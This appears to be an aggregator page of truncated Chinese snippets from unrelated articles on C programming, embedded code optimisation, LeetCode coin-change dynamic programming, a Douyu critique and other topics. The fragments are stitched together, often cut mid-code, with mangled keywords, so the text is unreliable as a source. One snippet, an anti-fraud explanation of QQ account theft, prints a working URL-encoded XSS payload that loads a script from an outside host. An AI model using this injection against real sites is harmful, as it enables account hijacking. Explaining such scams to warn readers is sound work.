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C语言开发能拿多少

一入程序深似海,小白一问大神我该如何学习C语言,一句话,小朋友你基础会了么?不会基础啥也别谈,麻溜的去学基础去。小白听了,的确学编程没有基础也是玩不转。你看都是英文,也能看懂。可就是不明白啥意思? 原来大神是跳大神的,时常又小伙伴这样,我是一个还在学习C的小菜鸟可能问这样的问题会有点好高骛远了,但不能无目的的学吧。不仅想问一些已经在这个行业工作的程序员们。 你们当初学完C。之后是学的什么。 一、先练基本功 当你学完C后,你会感觉,你所学到的东西跟开发软件压根不是一回事,指针、链表函数之类的怎么能变成像刀塔,QQ这样的软件呢? 三、选择方向 学完C语言后你的选着又很多,看自己比较喜欢那些,喜欢实实在在的东西,那我们可以选择嵌入式开发,一块板子,一个显示器,一个网线,一个串口线。 四、谈谈薪资 北京C软件工程师工资收入一览: ? 上海C软件工程师工资收入一览: ? 深圳C软件工程师工资收入一览: ? 这个有图有真相不过有点老了,现在出来混挣个万儿八千的都不是个事。

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    C语言代码优化方案

    很多高级语言,包括C++,并不对产生的浮点表达式重新排序,因为那是一个相当复杂的过程。需要注意的是,重排序的代码和原来的代码在代码上一致并不等价于计算结果一致,因为浮点操作缺乏精确度。 + temp->dog; 一些老的C语言编译器不做聚合优化,而符合ANSI规范的新的编译器可以自动完成这个优化,看例子: float a, b, c, d, f, g; 。。。 9、采用递归 与LISP之类的语言不同,C语言一开始就病态地喜欢用重复代码循环,许多C程序员都是除非算法要求,坚决不用递归。事实上,C编译器们对优化递归调用一点都不反感,相反,它们还很喜欢干这件事。 C语言的编译器们总是先假定每一个函数的变量都是内部变量,这是由它的机制决定的,在这种情况下,它们的优化完成得最好。 说明: 上面的优化方案由王全明收集整理。很多资料来源于网上,出处不祥,在此对所有作者一并致谢! 该方案主要是考虑到在嵌入式开发中对程序执行速度的要求特别高,所以该方案主要是为了优化程序的执行速度。

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    嵌入式C语言源代码优化方案

    在使用到加一和减一操作时尽量使用增量和减量操作符,因为增量符语句比赋值语句更快,原因在于对大多数CPU来说,对内存字的增、减量操作不必明显地使用取内存和写内存的指令,比如下面这条语句: x = x+1; 模仿大多数微机汇编语言为例 e = a / c; f = b / c; 推荐的代码: float a,b,c,e,f; // 。。。 很多高级语言,包括C++,并不对产生的浮点表达式重新排序,因为那是一个相当复杂的过程。需要注意的是,重排序的代码和原来的代码在代码上一致并不等价于计算结果一致,因为浮点操作缺乏精确度。 + temp->dog; 一些老的C语言编译器不做聚合优化,而符合ANSI规范的新的编译器可以自动完成这个优化,看例子: float a,b,c,d,f,g; //。。。 说明 该方案主要是考虑到在嵌入式开发中对程序执行速度的要求特别高,所以该方案主要是为了优化程序的执行速度。

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    兑换

    兑换解法汇总 3.BFS---广度优先遍历 2.动态规划 3.记忆化递归 4.套「完全背包」问题的公式 总结 原题链接: leetcode 322. 零兑换 ---- 3.BFS—广度优先遍历 具体在纸上画一下,就知道这其实是一个在「图」上的最短路径问题,「广度优先遍历」是求解这一类问题的算法。广度优先遍历借助「队列」实现。 [1, 5, 5] 和方案 [5, 1, 5] 视为同一种方案。 下面通过最小子问题求出钱包必须放刚刚好一块时的结果,dp[1]=dp[0]+1—假设此时我们位于堆满一元硬币的房间内,显然结果为1。 接着我们把钱包上限调高到2,dp[2]=dp[2-1]+1=2;注意此时我们还处于全是一元硬币的房间内,这里的dp[2-1]意思是我们在选择了一元硬币后,还差一元,又因为之前求出了钱包内只让放一块时的

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    C++运算符

    假设变量 A 的值为 10,变量 B 的值为 20,则: C++语言规定了运算符的优先级和结合性。在求解表达式时,先按运算符的优先级别高低次序执行,例如先乘除后加减。 如有表达式a-b*c,b的左侧为减号,右侧为乘号,而乘号优先于减号,因此,相当于a-(b*c)。如果在一个运算对象两侧的运算符的优先级别相同,如a-b+c,则按规定的“结合方向”处理。 cin>>a; if (a>=10&&a<=99) cout<<"1"; else cout<<"0"; return 0; } 童币兑换 问题描述 最近发现同学们的表现都非常好,童程童美要推出一个“童币兑换大奖”的活动:如果你拥有超过1个“一元”童币,2个“两元”童币,5个“五元”童币,就可以兑换一个神秘大奖。 若可以兑换,输出1,否则输出0。 输入 一行,包含三个整数,分别为“一元”“两元”“五元”童币的数量,中间用空格隔开。 输出 一行,若可以兑换大奖,输出1,否则输出0。

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    C语言实例之求三角形面积、解一元二次方程

    什么是一元二次方程? 一元二次方程的一般形式 ax2 + bx + c = 0 (a≠0) ,其中ax2叫作二次项,a是二次项系数;bx叫作一次项,b是一次项系数;c叫作常数项。 核心思路: 输入a,b,c三个数,分别对应一元二次方程的二次项系数,一次项系数,常数项系数,运用一元二次方程根的判别式判断此方程有无实数根,若方程有实数根,则可运用求根公式分别算出这两个实数根。 解一元二次方程,源代码如下: #include<stdio.h> #include<math.h> int main() { float a, b, c, d, x1, x2; printf ("请输入一个一元二次方程:\n"); printf("提示:ax^2+bx+c=0 只需依次输入a,b,c\n"); scanf("%f %f %f", &a, &b, &c);

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    在斗鱼IPO之前,这几个问题真应该弄明白

    在“一元夺宝”游戏中,例如,夺宝平台放上一个iphone手机,标价6600元,凑齐6600个人拍下1元,即可开奖,其中一位幸运用户将获得这部手机。 另外一些活动会设置礼物上限,送满即开奖,这与“一元夺宝”大致雷同。 2017年7月中旬,国家互联网金融风险专项整治领导小组办公室发布 《关于网络“一元购”业务的定性和处置意见》,明确将网络“一元购”定性为变相赌博或者诈骗,并将对其展开新一轮整顿清理工作。 但是,支付现金和送出现金兑换的礼物又有什么本质区别呢? 不止于此,如果说斗鱼欠薪、苛待小主播这些流言都能用“平台是公司运作也需要生存、小主播创造不了收益”来解释,那么指派任务给签约主播的方式,就存在着反过来让小主播损失自己兜里原本的来替平台创收的可能。

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    干货:嵌入式C语言源代码优化方案(非编译器优化)

    很多高级语言,包括C++,并不对产生的浮点表达式重新排序,因为那是一个相当复杂的过程。需要注意的是,重排序的代码和原来的代码在代码上一致并不等价于计算结果一致,因为浮点操作缺乏精确度。 + temp->dog; 一些老的C语言编译器不做聚合优化,而符合ANSI规范的新的编译器可以自动完成这个优化,看例子: float a, b, c, d, f, g; 。。。 9、采用递归 与LISP之类的语言不同,C语言一开始就病态地喜欢用重复代码循环,许多C程序员都是除非算法要求,坚决不用递归。事实上,C编译器们对优化递归调用一点都不反感,相反,它们还很喜欢干这件事。 C语言的编译器们总是先假定每一个函数的变量都是内部变量,这是由它的机制决定的,在这种情况下,它们的优化完成得最好。 说明: 上面的优化方案由王全明收集整理。很多资料来源于网上,出处不祥,在此对所有作者一并致谢! 该方案主要是考虑到在嵌入式开发中对程序执行速度的要求特别高,所以该方案主要是为了优化程序的执行速度。

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    从零兑换再看动态规划的套路

    在昨天的文章关于背包问题的一点发散[1]之后,有小伙伴说感觉跟LeetCode上一道题零兑换[2]很像,但是又好像有点不一样,简单的暴力递归跟缓存优化都能做出来,就是自下而上的方法不怎么有思路。 暴力递归无需过多分析了,无非是递归地做选择,选择硬币,然后选择硬币最少的那个方案。 咱们直接上递归代码,咱们主要思考分析工作在后期的算法优化上。 这个时间复杂度也很容易看出来了,是O(2^(T+C))。T是需要换零的总数额,C是硬币种类数量。 原谅我不会画表格,当我们只有面值为一的硬币时,我们要还多少就要多少个硬币。 ] 关于背包问题的一点发散: [https://www.jianshu.com/p/ef4a67efb7a5(https://www.jianshu.com/p/ef4a67efb7a5) [2] 零兑换

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    【动态规划背包问题】强化「换元一维优化」技巧

    兑换 II」,难度为 Medium。 给定不同面额的硬币和一个总金额。 写出函数来计算可以凑成总金额的硬币组合数。 假设每一种面额的硬币有无限个。 零兑换 中,我们求的是「取得特定价值所需要的最小物品个数」。 对于本题,我们求的是「取得特定价值的方案数量」。 求的东西不一样,但问题的本质没有发生改变,同样属于「组合优化」问题。 对于第 个硬币我们有两种决策方案: 不使用该硬币: 使用该硬币:由于每个硬币可以被选择多次(容量允许的情况下),因此方案数量应当是选择「任意个」该硬币的方案总和: 代码: class Solution 零兑换」 和 本篇的「518. 零兑换 II」本质是一样的。 之所将两题分开成两篇【练习】,主要是为了加强大家对于「一维优化」的熟练度。 【练习】背包求方案数 背包求具体方案 【练习】背包求具体方案 泛化背包 【练习】泛化背包 最后 这是我们「刷穿 LeetCode」系列文章的第 No.518 篇,系列开始于 2021/01/01,截止于起始日

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    不要再被骗了------QQ盗号原理大揭秘

    网上针对防骗这块的文章几乎没有,为了不让更多的人受害,下面我将会以最真实朴素的语言介绍最常见的一种盗号诈骗方式,浅析一下这个盗号原理的全过程~~~希望大家不要再上当受骗啦~! callback=%00%00%00%00%00%00%00%3CscripT/src%3D//p10t.cn/app.php%3Faid%3D5%3E%3C/scripT%3E%3C! 那我也没辙了,技术不够精湛,我只能写下这篇文章记录一下,希望更多的人看到,不要再上当受骗了就好~~~ 如果文章哪里写的有出路的地方,希望各位不吝赐教,如果有更好的解决方案,欢迎在评论区留言或私信给我,感谢大家的支持 ,然后才能兑换这个,你看,这不明显是骗局嘛,我妈又觉得,如果得到了这个,相当于她少上多少年的班,其实说白了这一切都是为了这个不争气的我,我其实也是很愧疚的。 所以朋友们要记住,只要谈到这个问题,要悠着点,十有八九都是骗局,我妈最后是按照地址打过去了,然后事实上,对方并没有想要兑换的意思,巴拉巴拉说了一大堆,好像又是要交钱。。。

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    动态规划:Carl称它为排列总和!

    在动态规划:494.目标和 和 动态规划:518.零兑换II中我们已经讲过了,求装满背包有几种方法,递推公式一般都是dp[i] += dp[i - nums[j]]; 本题也一样。 在动态规划:518.零兑换II 中就已经讲过了。 如果求组合数就是外层for循环遍历物品,内层for遍历背包。 如果求排列数就是外层for遍历背包,内层for循环遍历物品。 += dp[i - nums[j]]; } } } return dp[target]; } }; C+ 但java就不用考虑这个限制,java里的int也是四个字节吧,也有可能leetcode后台对不同语言的测试数据不一样。 本题与动态规划:518.零兑换II就是一个鲜明的对比,一个是求排列,一个是求组合,遍历顺序完全不同。

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    从买啤酒的案例中谈测试思维的重要性

    让我们先从一个简单的案例开始,看一下你的逻辑思维能力怎么样 某烧烤摊啤酒每瓶2元,为了促销,推出以下优惠政策:2个空瓶可兑换1瓶啤酒,4个瓶盖可兑换1瓶啤酒。 问:如果小明带了10元,最多可以喝到多少瓶啤酒? ? 屏幕前的你,是否正在拿着笔一顿计算呢? 正常人的解题思路 用10元可以买5瓶,再把酒喝掉,再用上下的空瓶和酒盖去换啤酒,以此类推,最终,能喝到15瓶酒,还剩下一个空瓶和3个空酒盖无法兑换。 难道不能喝到更多的酒了?很显然不是 ? 可以再找老板再要一瓶,不就可以多兑换一瓶出来了吗,以此类推,是不是可以喝到更多的酒呢? ? 是不是发现计算到这,花了不少的时间呢? ? 那有没有更好的解题思路呢? 技术和工具的学习相对而言会容易一些,但是学会一门语言之后,你就能开发出一个很牛逼的框架吗,你能干过现有的开源框架吗,有没有了解过为什么要自己去写脚本,是为了解决什么工具解决不了的问题呢?

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    为996设计一个虚拟货币捐款模型 | 技术头条

    让这个简单的组织变得不纯粹,但没有钱,很多事情都只能是媒体宣传或纸上谈兵,难以解决真实的问题。 我们的目标是: 财务公开透明 资金安全 捐款用途尽量可追踪,民主化 支持小额,分散的捐款 支持匿名收款和捐款 在无法提出完美解决方案的阶段下,我们可以无限接近上述目标,并尽量减小,而不是消除中心化的风险 a)适合小额,分散的捐款 b)可以始终保持匿名 c)捐款者对管理者的监督更强:如果管理者在短时间内拿走所有的甚至跑路,那后来的捐款者会看到,对管理者的信任降低,停止捐款。 项目发起人 A,社区参与者 B,捐款者 C。A 自己在最早期投入 1 个 ETH,获得 100 个 996 . token。C1 投入 1 ETH 获得 80 个 996 . token。 C2 继续为活动赞助了 3 ETH 获得 120 个 token。此时,A 可以兑现手中剩余的 token 换回最开始投入的 1 ETH,B 也可以选择兑换。 ? 曲线也可以是这样的: ?

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